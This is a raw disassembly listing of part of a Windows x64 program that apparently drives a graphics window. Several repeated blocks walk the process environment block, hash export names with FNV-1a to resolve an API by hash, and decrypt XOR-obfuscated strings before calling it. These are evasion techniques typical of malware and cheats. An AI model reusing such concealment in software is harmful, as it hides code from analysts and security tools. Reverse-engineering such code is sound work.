lea rdx, [rbp + 0x1f0]
mov qword [rbp + 0x1f0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xdba4b42cb1801449
mov qword [rbp + 0x1f8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1c70], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x1c78], rax
movdqa xmm0, xmmword [rbp + 0x1c70]
xorps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x1f0], xmm0
call fcn.14004f3a0
test al, al
je 0x140059aea
mov byte [0x1402b1940], 0
movabs rdi, 0xdba4b42cb180702c
mov byte [0x1402b1941], 0
mov byte [0x1402b1942], r14b
mov byte [0x1402b1943], 0
movabs rax, 0xea27050c879f057e
mov qword [rbp + 0x1c88], rdi
mov qword [rbp + 0x200], rax
lea rdx, [rbp + 0x200]
movabs rax, 0xdba4b42cc2f91148
mov rcx, rbx
mov qword [rbp + 0x208], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1c80], rax
movdqa xmm0, xmmword [rbp + 0x1c80]
xorps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x200], xmm0
call fcn.14004f3a0
test al, al
je 0x140058740
mov qword [rbp + 0x278], rdi
lea rdx, [rbp + 0x270]
movabs rax, 0xae72424f96981548
mov qword [rbp + 0x1878], rdi
mov qword [rbp + 0x270], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1870], rax
movdqa xmm0, xmmword [rbp + 0x1870]
xorps xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x270], xmm0
call fcn.14004f3a0
test al, al
jne 0x14005a99a
movabs rax, 0xbe76525c86cc1e43
lea rdx, [rbp + 0x280]
mov qword [rbp + 0x280], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xdba4b42cb1807049
mov qword [rbp + 0x288], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1850], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x1858], rax
movdqa xmm0, xmmword [rbp + 0x1850]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x280], xmm0
call fcn.14004f3a0
test al, al
jne 0x14005a74a
movabs rax, 0xae725a4e929f1948
lea rdx, [rbp + 0x290]
mov qword [rbp + 0x290], rax
movabs rcx, 0xca17362cf3ec702c
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x1830], rcx
mov qword [rbp + 0x298], rax
lea rcx, [rbx + 0x20]
mov qword [rbp + 0x1838], rax
movdqa xmm0, xmmword [rbp + 0x1830]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm0
call fcn.14004f3a0
test al, al
jne 0x14005a4f0
movabs rax, 0xbe74535896881e59
lea rdx, [rbp + 0x2a0]
mov qword [rbp + 0x2a0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0xdba4b42cb1801449
mov qword [rbp + 0x2a8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x1820], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x1828], rax
movdqa xmm0, xmmword [rbp + 0x1820]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2a0], xmm0
call fcn.14004f3a0
test al, al
je 0x14005a36a
mov byte [0x1402b1940], 0
movabs rdi, 0xdba4b42cb180702c
mov byte [0x1402b1941], 0
mov byte [0x1402b1942], 0
mov byte [0x1402b1943], r14b
inc esi
cmp esi, 3
jl 0x140057e50
lea rcx, [rbp + 0x12e0]
call fcn.140043480
call fcn.140061110
mov ecx, 4
call fcn.14006aec0
mov ecx, 3
call fcn.14006ae10
call fcn.140061750
mov rcx, qword [0x1402b18d0]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x1402b18d0]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x1402b18d0]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x1402b18d0]
xor esi, esi
movss xmm0, dword [0x1401089fc]
xor r8d, r8d
mov dword [rsp + 0x30], esi
xor edx, edx
movss dword [rsp + 0x28], xmm0
mov rax, qword [rcx]
lea r9d, [rsi + 3]
mov dword [rsp + 0x20], 0xff728c99
call qword [rax + 0x158]
mov rcx, qword [0x1402b18d0]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140058826
call fcn.14006b4c0
call fcn.1400639d0
mov rcx, rax
call fcn.140082fc0
mov rcx, qword [0x1402b18d0]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x1402b18d0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
movss xmm6, dword [0x140108a64]
cmp dword [rbp + 0x13b8], 0x12
jne 0x1400556a0
call fcn.140083960
call fcn.140083d40
xor ecx, ecx
call fcn.1400610a0
mov rcx, qword [0x1402b18d0]
test rcx, rcx
je 0x140058882
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1402b18d0], rsi
mov rcx, qword [0x1402b1928]
test rcx, rcx
je 0x14005889b
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1402b1928], rsi
mov rcx, r15
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov r14d, esi
cmp dword [rbp + 0x1328], 0
jne 0x14005aca7
lea rcx, [rbp + 0x13e0]
call fcn.14004ab00
mov rdx, qword [rbp + 0x1290]
cmp rdx, 0x10
jb 0x14005890d
mov rcx, qword [rbp + 0x1278]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140058908
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005acad
call fcn.1400a031c
cmp dword [rbp + 0x12d8], 0
mov qword [rbp + 0x1288], rsi
mov qword [rbp + 0x1290], 0xf
mov byte [rbp + 0x1278], 0
jne 0x14005aca7
cmp dword [rbp + 0x12c8], 0
jne 0x14005aca7
cmp dword [rbp + 0x12b8], 0
jne 0x14005aca7
cmp dword [rbp + 0x12a8], 0
jne 0x14005aca7
mov eax, r14d
movaps xmm14, xmmword [rsp + 0x1f60]
movaps xmm13, xmmword [rsp + 0x1f70]
movaps xmm12, xmmword [rsp + 0x1f80]
movaps xmm11, xmmword [rsp + 0x1f90]
movaps xmm10, xmmword [rsp + 0x1fa0]
movaps xmm9, xmmword [rsp + 0x1fb0]
movaps xmm8, xmmword [rsp + 0x1fc0]
movaps xmm7, xmmword [rsp + 0x1fd0]
movaps xmm6, xmmword [rsp + 0x1fe0]
movaps xmm15, xmmword [rsp + 0x1f50]
mov rcx, qword [rbp + 0x1e40]
xor rcx, rsp
call fcn.1400a02c0
lea r11, [rsp + 0x1ff0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140058a77
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140058a77
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140058a72
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140058a50
cmp r8d, 0x23a979e4
je 0x140058a7c
test r9d, r9d
jne 0x140058a30
mov rax, qword [rax]
jmp 0x140058a00
mov ecx, dword [rdi + 0x24]
mov edx, 0x10
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + r8*4]
lea rcx, [rbp + 0x1128]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140058ab2
mov r8, qword [rax]
movabs rdx, 0x7866522c1dd4702c
movabs rcx, 0xdc34002ced88702c
mov qword [rbp + 0x5a0], rdx
movabs rax, 0xea7941439d871e79
mov qword [rbp + 0x590], rax
mov r9d, 0x1010
mov qword [rbp + 0x5a8], rcx
movabs rax, 0xbed7da43c1f3155e
movdqa xmm1, xmmword [rbp + 0x5a0]
mov qword [rbp + 0x598], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17e0], rdx
lea rdx, [rbp + 0x590]
mov qword [rbp + 0x17e8], rcx
xor ecx, ecx
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17d8], rax
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x590], xmm0
movdqa xmmword [rbp + 0x5a0], xmm1
call rbx
lea rcx, [rbp + 0x1128]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140058c07
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140058c07
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140058c02
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140058be0
cmp r8d, 0x23a979e4
je 0x140058c0c
test r9d, r9d
jne 0x140058bc0
mov rax, qword [rax]
jmp 0x140058b90
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1148]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140058c41
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x7b0]
mov qword [rbp + 0x7b0], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x7b8], rax
movabs rax, 0x1a07214579f40940
mov qword [rbp + 0x7c0], rax
movabs rax, 0xae5b730cc1ec1540
mov qword [rbp + 0x7c8], rax
movabs rax, 0xab013c433edc095e
movdqa xmm1, xmmword [rbp + 0x7c0]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x1b6eef42c2301544
mov qword [rbp + 0x7d8], rax
movabs rax, 0x4e5c24499f4a155a
mov qword [rbp + 0x7e0], rax
movabs rax, 0xdb81582c62187002
mov qword [rbp + 0x7e8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x7b0]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x7b0], xmm0
movdqa xmm0, xmmword [rbp + 0x7d0]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x7c0], xmm1
movdqa xmm1, xmmword [rbp + 0x7e0]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x7e0], xmm1
movdqa xmmword [rbp + 0x7d0], xmm0
call rbx
lea rcx, [rbp + 0x1148]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140058e57
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140058e57
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140058e52
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140058e30
cmp r8d, 0x23a979e4
je 0x140058e5c
test r9d, r9d
jne 0x140058e10
mov rax, qword [rax]
jmp 0x140058de0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xf08]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140058e91
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x770]
mov qword [rbp + 0x770], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x778], rax
movabs rax, 0x813724272f40940
mov qword [rbp + 0x780], rax
movabs rax, 0xb347200088fc1148
mov qword [rbp + 0x788], rax
movabs rax, 0xff53214a7885025e
movdqa xmm1, xmmword [rbp + 0x780]
mov qword [rbp + 0x790], rax
movabs rax, 0x1a62e2458b751858
mov qword [rbp + 0x798], rax
movabs rax, 0x48512f4598410642
mov qword [rbp + 0x7a0], rax
movabs rax, 0xdb81582c62185e49
mov qword [rbp + 0x7a8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x770]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x770], xmm0
movdqa xmm0, xmmword [rbp + 0x790]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x780], xmm1
movdqa xmm1, xmmword [rbp + 0x7a0]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x7a0], xmm1
movdqa xmmword [rbp + 0x790], xmm0
call rbx
lea rcx, [rbp + 0xf08]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400590a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400590a7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400590a2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059080
cmp r8d, 0x23a979e4
je 0x1400590ac
test r9d, r9d
jne 0x140059060
mov rax, qword [rax]
jmp 0x140059030
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xec8]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400590e1
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x730]
mov qword [rbp + 0x730], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x738], rax
movabs rax, 0x1b03264979f40940
mov qword [rbp + 0x740], rax
movabs rax, 0xae5b730cc1ec1558
mov qword [rbp + 0x748], rax
movabs rax, 0xab013c433edc095e
movdqa xmm1, xmmword [rbp + 0x740]
mov qword [rbp + 0x750], rax
movabs rax, 0x1b6eef42c2301544
mov qword [rbp + 0x758], rax
movabs rax, 0x4e5c24499f4a155a
mov qword [rbp + 0x760], rax
movabs rax, 0xdb81582c62187002
mov qword [rbp + 0x768], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x730]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x730], xmm0
movdqa xmm0, xmmword [rbp + 0x750]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x740], xmm1
movdqa xmm1, xmmword [rbp + 0x760]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x760], xmm1
movdqa xmmword [rbp + 0x750], xmm0
call rbx
lea rcx, [rbp + 0xec8]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400592f7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400592f7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400592f2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400592d0
cmp r8d, 0x23a979e4
je 0x1400592fc
test r9d, r9d
jne 0x1400592b0
mov rax, qword [rax]
jmp 0x140059280
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xf88]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059331
mov r8, qword [rax]
movabs rdx, 0x7866522c1dd4702c
movabs rcx, 0xdc34002ced88702c
mov qword [rbp + 0x6a0], rdx
movabs rax, 0xea7941439d871e79
mov qword [rbp + 0x690], rax
mov r9d, 0x1010
mov qword [rbp + 0x6a8], rcx
movabs rax, 0xbed7da43c1f3155e
movdqa xmm1, xmmword [rbp + 0x6a0]
mov qword [rbp + 0x698], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17e0], rdx
lea rdx, [rbp + 0x690]
mov qword [rbp + 0x17e8], rcx
xor ecx, ecx
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17d8], rax
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x690], xmm0
movdqa xmmword [rbp + 0x6a0], xmm1
call rbx
lea rcx, [rbp + 0xf88]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059487
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059487
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059482
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059460
cmp r8d, 0x23a979e4
je 0x14005948c
test r9d, r9d
jne 0x140059440
mov rax, qword [rax]
jmp 0x140059410
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xf68]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400594c1
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x8f0]
mov qword [rbp + 0x8f0], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x8f8], rax
movabs rax, 0x1a07214579f40940
mov qword [rbp + 0x900], rax
movabs rax, 0xae5b730cc1ec1540
mov qword [rbp + 0x908], rax
movabs rax, 0xab013c433edc095e
movdqa xmm1, xmmword [rbp + 0x900]
mov qword [rbp + 0x910], rax
movabs rax, 0x1b6eef42c2301544
mov qword [rbp + 0x918], rax
movabs rax, 0x4e5c24499f4a155a
mov qword [rbp + 0x920], rax
movabs rax, 0xdb81582c62187002
mov qword [rbp + 0x928], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x8f0]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x8f0], xmm0
movdqa xmm0, xmmword [rbp + 0x910]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x900], xmm1
movdqa xmm1, xmmword [rbp + 0x920]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x920], xmm1
movdqa xmmword [rbp + 0x910], xmm0
call rbx
lea rcx, [rbp + 0xf68]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400596d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400596d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400596d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400596b0
cmp r8d, 0x23a979e4
je 0x1400596dc
test r9d, r9d
jne 0x140059690
mov rax, qword [rax]
jmp 0x140059660
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1048]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059711
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x930]
mov qword [rbp + 0x930], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x938], rax
movabs rax, 0x813724272f40940
mov qword [rbp + 0x940], rax
movabs rax, 0xb347200088fc1148
mov qword [rbp + 0x948], rax
movabs rax, 0xff53214a7885025e
movdqa xmm1, xmmword [rbp + 0x940]
mov qword [rbp + 0x950], rax
movabs rax, 0x1a62e2458b751858
mov qword [rbp + 0x958], rax
movabs rax, 0x48512f4598410642
mov qword [rbp + 0x960], rax
movabs rax, 0xdb81582c62185e49
mov qword [rbp + 0x968], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x930]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x930], xmm0
movdqa xmm0, xmmword [rbp + 0x950]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x940], xmm1
movdqa xmm1, xmmword [rbp + 0x960]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x960], xmm1
movdqa xmmword [rbp + 0x950], xmm0
call rbx
lea rcx, [rbp + 0x1048]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059927
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059927
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059922
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059900
cmp r8d, 0x23a979e4
je 0x14005992c
test r9d, r9d
jne 0x1400598e0
mov rax, qword [rax]
jmp 0x1400598b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1028]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059961
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x970]
